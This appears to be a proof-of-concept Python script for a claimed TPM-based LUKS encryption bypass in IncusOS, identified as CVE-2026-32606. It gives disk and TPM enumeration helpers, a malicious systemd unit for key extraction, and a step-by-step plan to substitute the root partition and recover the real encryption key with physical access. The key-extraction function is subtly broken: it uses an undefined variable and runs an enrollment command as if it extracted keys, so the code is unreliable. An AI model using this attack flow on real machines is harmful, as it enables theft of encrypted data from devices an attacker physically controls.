# CVE-2026-32606 PoC - IncusOS TPM LUKS Bypass
# This PoC demonstrates the conceptual attack flow
# Note: Physical access to the target system is required
import subprocess
import os
def check_tpm_state():
"""Check TPM PCR state"""
result = subprocess.run(
['tpm2_pcrread'],
capture_output=True, text=True
)
return result.stdout
def enumerate_disks():
"""List available block devices"""
result = subprocess.run(
['lsblk', '-o', 'NAME,SIZE,TYPE,MOUNTPOINT'],
capture_output=True, text=True
)
return result.stdout
def check_luks_container(device):
"""Check if device is a LUKS container"""
result = subprocess.run(
['cryptsetup', 'isLuks', device],
capture_output=True, text=True
)
return result.returncode == 0
def get_root_partition_uuid():
"""Get current root partition UUID from GPT"""
result = subprocess.run(
['blkid', '-s', 'PARTUUID', '-o', 'value', '/dev/root'],
capture_output=True, text=True
)
return result.stdout.strip()
def create_malicious_partition():
"""
Create attacker-controlled partition with:
- Same GPT partition UUID as original root
- Attacker-defined recovery key
- Malicious systemd unit for key extraction
"""
malicious_unit = '''
[Unit]
Description=TPM Key Extraction Service
[email protected]
Before=basic.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/extract_luks_key
RemainAfterExit=yes
[Install]
WantedBy=basic.target
'''
return malicious_unit
def extract_luks_key():
"""
Extract LUKS volume key using TPM
This works because PCR11 policy allows key release
from attacker-controlled partition
"""
# Read LUKS header with TPM unsealed key
cmd = [
'systemd-cryptenroll',
'--tpm2-device=auto',
'--tpm2-pcrs=7+11',
device_path
]
return subprocess.run(cmd, capture_output=True)
# Attack flow:
# 1. Physical access to powered-off system
# 2. Replace original encrypted root with attacker partition
# 3. Boot system with substituted partition
# 4. Enter attacker-defined recovery key
# 5. Malicious systemd unit executes
# 6. TPM releases real LUKS key due to PCR11 policy
# 7. Extract master key and access original encrypted data
if __name__ == '__main__':
print('[+] CVE-2026-32606 PoC - TPM LUKS Bypass Attack')
print('[+] This demonstrates the attack methodology')
print('[!] Physical access required to target system')